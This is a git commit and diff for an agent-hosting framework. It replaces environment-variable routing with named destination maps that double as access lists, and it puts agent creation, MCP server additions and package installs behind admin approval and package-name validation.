feat: named destinations + permission enforcement + fire-and-forget self-mod

Replaces implicit routing context (NANOCLAW_PLATFORM_ID env vars) with
per-agent named destination maps. Agents reference channels and peer
agents by local names; the host re-validates every outbound route against
a new agent_destinations table that is both the routing map and the ACL.

Model changes:
- New migration 004 adds agent_destinations (agent_group_id, local_name,
  target_type, target_id). Backfills from existing messaging_group_agents.
- Host writes /workspace/.nanoclaw-destinations.json before every container
  wake so admin changes take effect on next start.
- Container loads map at startup, appends system-prompt addendum listing
  available destinations and the <message to="name">…</message> syntax.
- Agent main output is parsed for <message to="..."> blocks; each block
  becomes a messages_out row with routing resolved via the local map.
  Untagged text and <internal>…</internal> are scratchpad (logged only).
- send_message MCP tool now takes `to` (destination name) instead of raw
  routing fields. send_to_agent deleted (redundant — agents are just
  destinations). send_file/edit_message/add_reaction route via map too.
- Inbound formatter adds from="name" attribute via reverse-lookup so the
  agent sees a consistent namespace in both directions.

Permission enforcement:
- Host checks hasDestination() before every channel delivery AND every
  agent-to-agent route. Unauthorized messages dropped and logged.
- routeAgentMessage simplified: ~15 lines, no JSON parse, content copied
  verbatim (target formatter resolves the sender via its own local map).
- create_agent is admin-only, checked at both the container (tool not
  registered for non-admins) and the host (re-check on receive). Inserts
  bidirectional destination rows so parent↔child comms work immediately.
  Includes path-traversal guard on folder name.

Self-modification cleanup:
- add_mcp_server now requires admin approval (previously had none).
- install_packages validates package names on BOTH sides (container tool
  + host receiver) with strict regex. Max 20 packages per request.
- All three self-mod tools are fire-and-forget: write request, return
  immediately with "submitted" message. Admin approval triggers a chat
  notification to the requesting agent — no tool-call polling, no 5-min
  holds. On rebuild/mcp_server approval, the container is killed so the
  next wake picks up new config/image.
- Approval delivery extracted into requestApproval() helper (the one
  place where three call sites were literally identical).

Also folded in the phase-1 dynamic import cleanup (create_agent no longer
does `await import('./db/agent-groups.js')`) and removes NANOCLAW_PLATFORM_ID
/ CHANNEL_TYPE / THREAD_ID env-var routing entirely.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
gavrielc
2026-04-10 16:31:37 +03:00
parent 4004a6b284
commit e83ffbc103
21 changed files with 942 additions and 418 deletions

View File

@@ -103,6 +103,25 @@ export function getMessageIdBySeq(seq: number): string | null {
return outRow.id;
}
/**
* Look up the routing fields for a message by seq (for edit/reaction targeting).
* Returns the channel_type, platform_id, thread_id of the referenced message.
*/
export function getRoutingBySeq(
seq: number,
): { channel_type: string | null; platform_id: string | null; thread_id: string | null } | null {
const inbound = getInboundDb();
const inRow = inbound
.prepare('SELECT channel_type, platform_id, thread_id FROM messages_in WHERE seq = ?')
.get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined;
if (inRow) return inRow;
const outRow = getOutboundDb()
.prepare('SELECT channel_type, platform_id, thread_id FROM messages_out WHERE seq = ?')
.get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined;
return outRow ?? null;
}
/** Get undelivered messages (for host polling — reads from outbound.db). */
export function getUndeliveredMessages(): MessageOutRow[] {
return getOutboundDb()

View File

@@ -0,0 +1,91 @@
/**
* Destination map loaded at container startup from
* /workspace/.nanoclaw-destinations.json (written by the host on wake).
*
* The map is BOTH the routing table and the ACL — if a name/target
* isn't in here, the agent can't reach it.
*/
import fs from 'fs';
export interface DestinationEntry {
name: string;
displayName: string;
type: 'channel' | 'agent';
channelType?: string;
platformId?: string;
agentGroupId?: string;
}
const DEST_FILE = '/workspace/.nanoclaw-destinations.json';
let cache: DestinationEntry[] = [];
export function loadDestinations(): void {
try {
if (!fs.existsSync(DEST_FILE)) {
cache = [];
return;
}
const raw = fs.readFileSync(DEST_FILE, 'utf-8');
const parsed = JSON.parse(raw) as { destinations?: DestinationEntry[] };
cache = Array.isArray(parsed.destinations) ? parsed.destinations : [];
} catch (err) {
console.error(`[destinations] Failed to load: ${err instanceof Error ? err.message : String(err)}`);
cache = [];
}
}
export function getAllDestinations(): DestinationEntry[] {
return cache;
}
/** Test-only: inject destinations without touching the filesystem. */
export function setDestinationsForTest(destinations: DestinationEntry[]): void {
cache = destinations;
}
export function findByName(name: string): DestinationEntry | undefined {
return cache.find((d) => d.name === name);
}
/**
* Reverse lookup: given routing fields from an inbound message, find
* which destination they correspond to (what does this agent call the sender?).
*/
export function findByRouting(
channelType: string | null | undefined,
platformId: string | null | undefined,
): DestinationEntry | undefined {
if (!channelType || !platformId) return undefined;
if (channelType === 'agent') {
return cache.find((d) => d.type === 'agent' && d.agentGroupId === platformId);
}
return cache.find((d) => d.type === 'channel' && d.channelType === channelType && d.platformId === platformId);
}
/** Generate the system-prompt addendum describing destinations and syntax. */
export function buildSystemPromptAddendum(): string {
if (cache.length === 0) {
return [
'## Sending messages',
'',
'You currently have no configured destinations. You cannot send messages until an admin wires one up.',
].join('\n');
}
const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', ''];
for (const d of cache) {
const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : '';
lines.push(`- \`${d.name}\`${label}`);
}
lines.push('');
lines.push('To send a message, wrap it in a `<message to="name">...</message>` block.');
lines.push('You can include multiple `<message>` blocks in one response to send to multiple destinations.');
lines.push('Text outside of `<message>` blocks is scratchpad — logged but not sent anywhere.');
lines.push('Use `<internal>...</internal>` to make scratchpad intent explicit.');
lines.push('');
lines.push(
'To send a message mid-response (e.g., an acknowledgment before a long task), call the `send_message` MCP tool with the `to` parameter set to a destination name.',
);
return lines.join('\n');
}

View File

@@ -1,3 +1,4 @@
import { findByRouting } from './destinations.js';
import type { MessageInRow } from './db/messages-in.js';
/**
@@ -123,7 +124,19 @@ function formatSingleChat(msg: MessageInRow): string {
const idAttr = msg.seq != null ? ` id="${msg.seq}"` : '';
const replyPrefix = formatReplyContext(content.replyTo);
const attachmentsSuffix = formatAttachments(content.attachments);
return `<message${idAttr} sender="${escapeXml(sender)}" time="${time}">${replyPrefix}${escapeXml(text)}${attachmentsSuffix}</message>`;
// Look up the destination name for the origin (reverse map lookup).
// If not found, fall back to a raw channel:platform_id marker so nothing
// gets silently dropped — this should only happen if the destination was
// removed between when the message was received and when it's being processed.
const fromDest = findByRouting(msg.channel_type, msg.platform_id);
const fromAttr = fromDest
? ` from="${escapeXml(fromDest.name)}"`
: msg.channel_type || msg.platform_id
? ` from="unknown:${escapeXml(msg.channel_type || '')}:${escapeXml(msg.platform_id || '')}"`
: '';
return `<message${idAttr}${fromAttr} sender="${escapeXml(sender)}" time="${time}">${replyPrefix}${escapeXml(text)}${attachmentsSuffix}</message>`;
}
function formatTaskMessage(msg: MessageInRow): string {

View File

@@ -26,6 +26,7 @@ import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
import { buildSystemPromptAddendum, loadDestinations } from './destinations.js';
import { createProvider, type ProviderName } from './providers/factory.js';
import { runPollLoop } from './poll-loop.js';
@@ -44,12 +45,17 @@ async function main(): Promise<void> {
const provider = createProvider(providerName, { assistantName });
// Load global CLAUDE.md as additional system context
// Load destination map (written by host on every wake)
loadDestinations();
// Load global CLAUDE.md as additional system context, then append destinations addendum
let systemPrompt: string | undefined;
if (fs.existsSync(GLOBAL_CLAUDE_MD)) {
systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8');
log('Loaded global CLAUDE.md');
}
const addendum = buildSystemPromptAddendum();
systemPrompt = systemPrompt ? `${systemPrompt}\n\n${addendum}` : addendum;
// Discover additional directories mounted at /workspace/extra/*
const additionalDirectories: string[] = [];

View File

@@ -1,6 +1,7 @@
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js';
import { setDestinationsForTest } from './destinations.js';
import { getUndeliveredMessages } from './db/messages-out.js';
import { getPendingMessages } from './db/messages-in.js';
import { MockProvider } from './providers/mock.js';
@@ -8,10 +9,21 @@ import { runPollLoop } from './poll-loop.js';
beforeEach(() => {
initTestSessionDb();
// Provide a test destination map so output parsing can resolve "discord-test" → routing
setDestinationsForTest([
{
name: 'discord-test',
displayName: 'Discord Test',
type: 'channel',
channelType: 'discord',
platformId: 'chan-1',
},
]);
});
afterEach(() => {
closeSessionDb();
setDestinationsForTest([]);
});
function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) {
@@ -27,7 +39,7 @@ describe('poll loop integration', () => {
it('should pick up a message, process it, and write a response', async () => {
insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' });
const provider = new MockProvider(() => '42');
const provider = new MockProvider(() => '<message to="discord-test">42</message>');
const controller = new AbortController();
const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000);
@@ -40,7 +52,6 @@ describe('poll loop integration', () => {
expect(JSON.parse(out[0].content).text).toBe('42');
expect(out[0].platform_id).toBe('chan-1');
expect(out[0].channel_type).toBe('discord');
expect(out[0].thread_id).toBe('thread-1');
expect(out[0].in_reply_to).toBe('m1');
// Input message should be acked (not pending)
@@ -54,7 +65,7 @@ describe('poll loop integration', () => {
insertMessage('m1', { sender: 'Alice', text: 'Hello' });
insertMessage('m2', { sender: 'Bob', text: 'World' });
const provider = new MockProvider(() => 'Got both messages');
const provider = new MockProvider(() => '<message to="discord-test">Got both messages</message>');
const controller = new AbortController();
const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000);
@@ -69,7 +80,7 @@ describe('poll loop integration', () => {
});
it('should process messages arriving after loop starts', async () => {
const provider = new MockProvider(() => 'Processed');
const provider = new MockProvider(() => '<message to="discord-test">Processed</message>');
const controller = new AbortController();
const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000);

View File

@@ -1,7 +1,13 @@
/**
* Agent-to-agent MCP tools: send_to_agent, create_agent.
* Agent management MCP tools: create_agent.
*
* send_to_agent was removed — sending to another agent is now just
* send_message(to="agent-name") since agents and channels share the
* unified destinations namespace.
*
* create_agent is admin-only. Non-admin containers never see this tool
* (see mcp-tools/index.ts). The host re-checks permission on receive.
*/
import { findQuestionResponse, markCompleted } from '../db/messages-in.js';
import { writeMessageOut } from '../db/messages-out.js';
import type { McpToolDefinition } from './types.js';
@@ -21,55 +27,16 @@ function err(text: string) {
return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true };
}
function sleep(ms: number): Promise<void> {
return new Promise((resolve) => setTimeout(resolve, ms));
}
export const sendToAgent: McpToolDefinition = {
tool: {
name: 'send_to_agent',
description: 'Send a message to another agent group.',
inputSchema: {
type: 'object' as const,
properties: {
agentGroupId: { type: 'string', description: 'Target agent group ID' },
text: { type: 'string', description: 'Message content' },
sessionId: { type: 'string', description: 'Target specific session (optional)' },
},
required: ['agentGroupId', 'text'],
},
},
async handler(args) {
const agentGroupId = args.agentGroupId as string;
const text = args.text as string;
if (!agentGroupId || !text) return err('agentGroupId and text are required');
const id = generateId();
writeMessageOut({
id,
kind: 'chat',
channel_type: 'agent',
platform_id: agentGroupId,
thread_id: (args.sessionId as string) || null,
content: JSON.stringify({ text }),
});
log(`send_to_agent: ${id}${agentGroupId}`);
return ok(`Message sent to agent ${agentGroupId} (id: ${id})`);
},
};
export const createAgent: McpToolDefinition = {
tool: {
name: 'create_agent',
description: 'Create a new agent group dynamically. Returns the new agent group ID.',
description:
'Create a new child agent with a given name. The name you choose becomes the destination name you use to message this agent. Admin-only. Fire-and-forget — you will receive a notification when the agent is created.',
inputSchema: {
type: 'object' as const,
properties: {
name: { type: 'string', description: 'Agent display name' },
instructions: { type: 'string', description: 'CLAUDE.md content (agent instructions/personality)' },
folder: { type: 'string', description: 'Folder name (default: auto-generated from name)' },
name: { type: 'string', description: 'Human-readable name (also becomes your destination name for this agent)' },
instructions: { type: 'string', description: 'CLAUDE.md content for the new agent (personality, role, instructions)' },
},
required: ['name'],
},
@@ -79,7 +46,6 @@ export const createAgent: McpToolDefinition = {
if (!name) return err('name is required');
const requestId = generateId();
writeMessageOut({
id: requestId,
kind: 'system',
@@ -88,28 +54,12 @@ export const createAgent: McpToolDefinition = {
requestId,
name,
instructions: (args.instructions as string) || null,
folder: (args.folder as string) || null,
}),
});
log(`create_agent: ${requestId} → "${name}"`);
// Poll for host response
const deadline = Date.now() + 30_000;
while (Date.now() < deadline) {
const response = findQuestionResponse(requestId);
if (response) {
const parsed = JSON.parse(response.content);
markCompleted([response.id]);
if (parsed.status === 'success') {
return ok(`Agent created: ${parsed.result.agentGroupId} (name: ${parsed.result.name}, folder: ${parsed.result.folder})`);
}
return err(parsed.result?.error || 'Failed to create agent');
}
await sleep(1000);
}
return err('Timed out waiting for agent creation response');
return ok(`Creating agent "${name}". You will be notified when it is ready.`);
},
};
export const agentTools: McpToolDefinition[] = [sendToAgent, createAgent];
export const agentTools: McpToolDefinition[] = [createAgent];

View File

@@ -1,10 +1,16 @@
/**
* Core MCP tools: send_message, send_file, edit_message, add_reaction.
*
* All outbound tools resolve destinations via the local destination map
* (see destinations.ts). Agents reference destinations by name; the map
* translates name → routing tuple. Permission enforcement happens on
* the host side in delivery.ts via the agent_destinations table.
*/
import fs from 'fs';
import path from 'path';
import { writeMessageOut, getMessageIdBySeq } from '../db/messages-out.js';
import { findByName, getAllDestinations } from '../destinations.js';
import { getMessageIdBySeq, getRoutingBySeq, writeMessageOut } from '../db/messages-out.js';
import type { McpToolDefinition } from './types.js';
function log(msg: string): void {
@@ -15,14 +21,6 @@ function generateId(): string {
return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
}
function routing() {
return {
platform_id: process.env.NANOCLAW_PLATFORM_ID || null,
channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null,
thread_id: process.env.NANOCLAW_THREAD_ID || null,
};
}
function ok(text: string) {
return { content: [{ type: 'text' as const, text }] };
}
@@ -31,68 +29,89 @@ function err(text: string) {
return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true };
}
function destinationList(): string {
const all = getAllDestinations();
if (all.length === 0) return '(none)';
return all.map((d) => d.name).join(', ');
}
function resolveRouting(
to: string,
): { channel_type: string; platform_id: string } | { error: string } {
const dest = findByName(to);
if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` };
if (dest.type === 'channel') {
return { channel_type: dest.channelType!, platform_id: dest.platformId! };
}
return { channel_type: 'agent', platform_id: dest.agentGroupId! };
}
export const sendMessage: McpToolDefinition = {
tool: {
name: 'send_message',
description: 'Send a chat message to the current conversation or a specified destination.',
description:
'Send a message to a named destination. Use destination names from your system prompt (not raw IDs).',
inputSchema: {
type: 'object' as const,
properties: {
to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1")' },
text: { type: 'string', description: 'Message content' },
channel: { type: 'string', description: 'Target channel type (default: reply to origin)' },
platformId: { type: 'string', description: 'Target platform ID' },
threadId: { type: 'string', description: 'Target thread ID' },
},
required: ['text'],
required: ['to', 'text'],
},
},
async handler(args) {
const to = args.to as string;
const text = args.text as string;
if (!text) return err('text is required');
if (!to || !text) return err('to and text are required');
const routing = resolveRouting(to);
if ('error' in routing) return err(routing.error);
const id = generateId();
const r = routing();
const seq = writeMessageOut({
id,
kind: 'chat',
platform_id: (args.platformId as string) || r.platform_id,
channel_type: (args.channel as string) || r.channel_type,
thread_id: (args.threadId as string) || r.thread_id,
platform_id: routing.platform_id,
channel_type: routing.channel_type,
thread_id: null,
content: JSON.stringify({ text }),
});
log(`send_message: #${seq} ${id}${r.channel_type || 'default'}/${r.platform_id || 'default'}`);
return ok(`Message sent (id: ${seq})`);
log(`send_message: #${seq} ${to}`);
return ok(`Message sent to ${to} (id: ${seq})`);
},
};
export const sendFile: McpToolDefinition = {
tool: {
name: 'send_file',
description: 'Send a file to the current conversation.',
description: 'Send a file to a named destination.',
inputSchema: {
type: 'object' as const,
properties: {
to: { type: 'string', description: 'Destination name' },
path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' },
text: { type: 'string', description: 'Optional accompanying message' },
filename: { type: 'string', description: 'Display name (default: basename of path)' },
},
required: ['path'],
required: ['to', 'path'],
},
},
async handler(args) {
const to = args.to as string;
const filePath = args.path as string;
if (!filePath) return err('path is required');
if (!to || !filePath) return err('to and path are required');
const routing = resolveRouting(to);
if ('error' in routing) return err(routing.error);
const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath);
if (!fs.existsSync(resolvedPath)) return err(`File not found: ${filePath}`);
const id = generateId();
const filename = (args.filename as string) || path.basename(resolvedPath);
const r = routing();
// Copy file to outbox
const outboxDir = path.join('/workspace/outbox', id);
fs.mkdirSync(outboxDir, { recursive: true });
fs.copyFileSync(resolvedPath, path.join(outboxDir, filename));
@@ -100,21 +119,21 @@ export const sendFile: McpToolDefinition = {
writeMessageOut({
id,
kind: 'chat',
platform_id: r.platform_id,
channel_type: r.channel_type,
thread_id: r.thread_id,
platform_id: routing.platform_id,
channel_type: routing.channel_type,
thread_id: null,
content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }),
});
log(`send_file: ${id}${filename}`);
return ok(`File sent (id: ${id}, filename: ${filename})`);
log(`send_file: ${id}${to} (${filename})`);
return ok(`File sent to ${to} (id: ${id}, filename: ${filename})`);
},
};
export const editMessage: McpToolDefinition = {
tool: {
name: 'edit_message',
description: 'Edit a previously sent message.',
description: 'Edit a previously sent message. Targets the same destination the original message was sent to.',
inputSchema: {
type: 'object' as const,
properties: {
@@ -132,15 +151,18 @@ export const editMessage: McpToolDefinition = {
const platformId = getMessageIdBySeq(seq);
if (!platformId) return err(`Message #${seq} not found`);
const id = generateId();
const r = routing();
const routing = getRoutingBySeq(seq);
if (!routing || !routing.channel_type || !routing.platform_id) {
return err(`Cannot determine destination for message #${seq}`);
}
const id = generateId();
writeMessageOut({
id,
kind: 'chat',
platform_id: r.platform_id,
channel_type: r.channel_type,
thread_id: r.thread_id,
platform_id: routing.platform_id,
channel_type: routing.channel_type,
thread_id: routing.thread_id,
content: JSON.stringify({ operation: 'edit', messageId: platformId, text }),
});
@@ -170,15 +192,18 @@ export const addReaction: McpToolDefinition = {
const platformId = getMessageIdBySeq(seq);
if (!platformId) return err(`Message #${seq} not found`);
const id = generateId();
const r = routing();
const routing = getRoutingBySeq(seq);
if (!routing || !routing.channel_type || !routing.platform_id) {
return err(`Cannot determine destination for message #${seq}`);
}
const id = generateId();
writeMessageOut({
id,
kind: 'chat',
platform_id: r.platform_id,
channel_type: r.channel_type,
thread_id: r.thread_id,
platform_id: routing.platform_id,
channel_type: routing.channel_type,
thread_id: routing.thread_id,
content: JSON.stringify({ operation: 'reaction', messageId: platformId, emoji }),
});

View File

@@ -9,6 +9,7 @@ import { Server } from '@modelcontextprotocol/sdk/server/index.js';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';
import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js';
import { loadDestinations } from '../destinations.js';
import type { McpToolDefinition } from './types.js';
import { coreTools } from './core.js';
import { schedulingTools } from './scheduling.js';
@@ -20,7 +21,23 @@ function log(msg: string): void {
console.error(`[mcp-tools] ${msg}`);
}
const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools, ...selfModTools];
// Load the destination map — this process is spawned fresh for each container
// wake, so the map file is always fresh (written by the host before spawn).
loadDestinations();
// Only admin agents get the create_agent tool. Non-admins never see it in the
// listTools response; the host also re-checks permission on receive as defense
// in depth (see delivery.ts create_agent handler).
const isAdmin = process.env.NANOCLAW_IS_ADMIN === '1';
const conditionalAgentTools = isAdmin ? agentTools : [];
const allTools: McpToolDefinition[] = [
...coreTools,
...schedulingTools,
...interactiveTools,
...conditionalAgentTools,
...selfModTools,
];
const toolMap = new Map<string, McpToolDefinition>();
for (const t of allTools) {

View File

@@ -1,11 +1,13 @@
/**
* Self-modification MCP tools: install_packages, add_mcp_server, request_rebuild.
*
* These tools request changes to the agent's container configuration.
* install_packages and request_rebuild require admin approval.
* add_mcp_server takes effect on next container restart without approval.
* All three are fire-and-forget — the tool writes a system action row and
* returns immediately. The host processes the request (including admin
* approval) and notifies the agent via a chat message when complete.
*
* Package names are sanitized here at the tool boundary AND re-validated on
* the host side (defense in depth).
*/
import { findQuestionResponse, markCompleted } from '../db/messages-in.js';
import { writeMessageOut } from '../db/messages-out.js';
import type { McpToolDefinition } from './types.js';
@@ -25,37 +27,20 @@ function err(text: string) {
return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true };
}
function sleep(ms: number): Promise<void> {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function pollForResponse(requestId: string, timeoutMs: number) {
const deadline = Date.now() + timeoutMs;
while (Date.now() < deadline) {
const response = findQuestionResponse(requestId);
if (response) {
const parsed = JSON.parse(response.content);
markCompleted([response.id]);
if (parsed.status === 'success') {
return ok(JSON.stringify(parsed.result || 'Success'));
}
return err(parsed.result?.error || parsed.selectedOption || 'Request denied');
}
await sleep(2000);
}
return err(`Request timed out after ${timeoutMs / 1000}s`);
}
const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
const MAX_PACKAGES = 20;
export const installPackages: McpToolDefinition = {
tool: {
name: 'install_packages',
description:
'Request installation of system (apt) or Node.js (npm) packages in the container. Requires admin approval. Takes effect after container rebuild.',
'Request installation of apt or npm packages. Requires admin approval. Fire-and-forget: you will receive a notification when the request is approved or rejected. After approval, call request_rebuild to apply the changes.',
inputSchema: {
type: 'object' as const,
properties: {
apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install' },
npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally' },
apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install (names only, no version specs or flags)' },
npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally (names only, no version specs)' },
reason: { type: 'string', description: 'Why these packages are needed' },
},
},
@@ -64,6 +49,12 @@ export const installPackages: McpToolDefinition = {
const apt = (args.apt as string[]) || [];
const npm = (args.npm as string[]) || [];
if (apt.length === 0 && npm.length === 0) return err('At least one apt or npm package is required');
if (apt.length + npm.length > MAX_PACKAGES) return err(`Maximum ${MAX_PACKAGES} packages per request`);
const invalidApt = apt.find((p) => !APT_RE.test(p));
if (invalidApt) return err(`Invalid apt package name: "${invalidApt}". Only lowercase letters, digits, and ._+- allowed.`);
const invalidNpm = npm.find((p) => !NPM_RE.test(p));
if (invalidNpm) return err(`Invalid npm package name: "${invalidNpm}". No version specs or shell characters.`);
const requestId = generateId();
writeMessageOut({
@@ -71,7 +62,6 @@ export const installPackages: McpToolDefinition = {
kind: 'system',
content: JSON.stringify({
action: 'install_packages',
requestId,
apt,
npm,
reason: (args.reason as string) || '',
@@ -79,7 +69,7 @@ export const installPackages: McpToolDefinition = {
});
log(`install_packages: ${requestId} → apt=[${apt.join(',')}] npm=[${npm.join(',')}]`);
return await pollForResponse(requestId, 300_000);
return ok(`Package install request submitted. You will be notified when admin approves or rejects.`);
},
};
@@ -87,7 +77,7 @@ export const addMcpServer: McpToolDefinition = {
tool: {
name: 'add_mcp_server',
description:
"Add an MCP server to this agent's configuration. Takes effect on next container restart (no rebuild needed, no approval required).",
"Request adding an MCP server to this agent's configuration. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new server.",
inputSchema: {
type: 'object' as const,
properties: {
@@ -110,7 +100,6 @@ export const addMcpServer: McpToolDefinition = {
kind: 'system',
content: JSON.stringify({
action: 'add_mcp_server',
requestId,
name,
command,
args: (args.args as string[]) || [],
@@ -119,7 +108,7 @@ export const addMcpServer: McpToolDefinition = {
});
log(`add_mcp_server: ${requestId} → "${name}" (${command})`);
return await pollForResponse(requestId, 30_000);
return ok(`MCP server request submitted. You will be notified when admin approves or rejects.`);
},
};
@@ -127,7 +116,7 @@ export const requestRebuild: McpToolDefinition = {
tool: {
name: 'request_rebuild',
description:
'Request a container rebuild to apply pending package installations. Requires admin approval. The current container will be stopped and restarted with the new image.',
'Request a container rebuild to apply pending package installations. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new image on the next message.',
inputSchema: {
type: 'object' as const,
properties: {
@@ -142,13 +131,12 @@ export const requestRebuild: McpToolDefinition = {
kind: 'system',
content: JSON.stringify({
action: 'request_rebuild',
requestId,
reason: (args.reason as string) || '',
}),
});
log(`request_rebuild: ${requestId}`);
return await pollForResponse(requestId, 300_000);
return ok(`Rebuild request submitted. You will be notified when admin approves or rejects.`);
},
};

View File

@@ -1,3 +1,4 @@
import { findByName } from './destinations.js';
import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js';
import { writeMessageOut } from './db/messages-out.js';
import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js';
@@ -143,9 +144,6 @@ export async function runPollLoop(config: PollLoopConfig): Promise<void> {
log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`);
// Set routing context as env vars for MCP tools
setRoutingEnv(routing, config.env);
const query = config.provider.query({
prompt,
sessionId,
@@ -247,9 +245,6 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config:
log(`Pushing ${newMessages.length} follow-up message(s) into active query`);
query.push(prompt);
const newRouting = extractRouting(newMessages);
setRoutingEnv(newRouting, config.env);
markCompleted(newIds);
lastEventTime = Date.now(); // new input counts as activity
}
@@ -270,15 +265,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config:
if (event.type === 'init') {
querySessionId = event.sessionId;
} else if (event.type === 'result' && event.text) {
writeMessageOut({
id: generateId(),
in_reply_to: routing.inReplyTo,
kind: routing.channelType ? 'chat' : 'chat',
platform_id: routing.platformId,
channel_type: routing.channelType,
thread_id: routing.threadId,
content: JSON.stringify({ text: event.text }),
});
dispatchResultText(event.text, routing);
}
}
} finally {
@@ -306,10 +293,66 @@ function handleEvent(event: ProviderEvent, _routing: RoutingContext): void {
}
}
function setRoutingEnv(routing: RoutingContext, env: Record<string, string | undefined>): void {
env.NANOCLAW_PLATFORM_ID = routing.platformId ?? undefined;
env.NANOCLAW_CHANNEL_TYPE = routing.channelType ?? undefined;
env.NANOCLAW_THREAD_ID = routing.threadId ?? undefined;
/**
* Parse the agent's final text for <message to="name">...</message> blocks
* and dispatch each one to its resolved destination. Text outside of blocks
* (including <internal>...</internal>) is scratchpad — logged but not sent.
*
* If the agent emits zero <message> blocks AND non-empty text, log a warning:
* the agent produced output with no recipient. That's usually a bug in the
* agent — the system prompt tells it to wrap user-visible text in blocks.
*/
function dispatchResultText(text: string, routing: RoutingContext): void {
const MESSAGE_RE = /<message\s+to="([^"]+)"\s*>([\s\S]*?)<\/message>/g;
let match: RegExpExecArray | null;
let sent = 0;
let lastIndex = 0;
const scratchpadParts: string[] = [];
while ((match = MESSAGE_RE.exec(text)) !== null) {
if (match.index > lastIndex) {
scratchpadParts.push(text.slice(lastIndex, match.index));
}
const toName = match[1];
const body = match[2].trim();
lastIndex = MESSAGE_RE.lastIndex;
const dest = findByName(toName);
if (!dest) {
log(`Unknown destination in <message to="${toName}">, dropping block`);
scratchpadParts.push(`[dropped: unknown destination "${toName}"] ${body}`);
continue;
}
const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!;
const channelType = dest.type === 'channel' ? dest.channelType! : 'agent';
writeMessageOut({
id: generateId(),
in_reply_to: routing.inReplyTo,
kind: 'chat',
platform_id: platformId,
channel_type: channelType,
thread_id: null,
content: JSON.stringify({ text: body }),
});
sent++;
}
if (lastIndex < text.length) {
scratchpadParts.push(text.slice(lastIndex));
}
const scratchpad = scratchpadParts
.join('')
.replace(/<internal>[\s\S]*?<\/internal>/g, '')
.trim();
if (scratchpad) {
log(`[scratchpad] ${scratchpad.slice(0, 500)}${scratchpad.length > 500 ? '…' : ''}`);
}
if (sent === 0 && text.trim()) {
log(`WARNING: agent output had no <message to="..."> blocks — nothing was sent`);
}
}
function sleep(ms: number): Promise<void> {

View File

@@ -14,13 +14,27 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c
## Communication
Your output is sent to the user or group. Be concise — every message costs the reader's attention.
Be concise — every message costs the reader's attention.
Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final output). Pace your updates to the length of the work:
### Named destinations
- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and report in your final output. No mid-work messages.
- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. Don't leave them waiting in silence.
- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. "About to install ffmpeg — this'll take a minute" is better than the user wondering if you're stuck.
You don't send messages to a "current conversation" — every outbound message goes to an explicitly named destination. The list of destinations available to you is injected into your system prompt at the start of every turn.
**To send a message**, wrap it in a `<message to="name">...</message>` block. You can include multiple blocks in one response to send to multiple destinations. Text outside of `<message>` blocks is scratchpad — logged but never sent anywhere.
```
<message to="family">On my way home, 15 minutes</message>
```
Inbound messages are labeled with `from="name"` so you know which destination they came from and can reply by using that same name as `to=`.
### Mid-turn updates
Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output) — it takes the same `to` destination name. Pace your updates to the length of the work:
- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final `<message to="...">` block.
- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") via `send_message` so the user knows you got the message.
- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages.
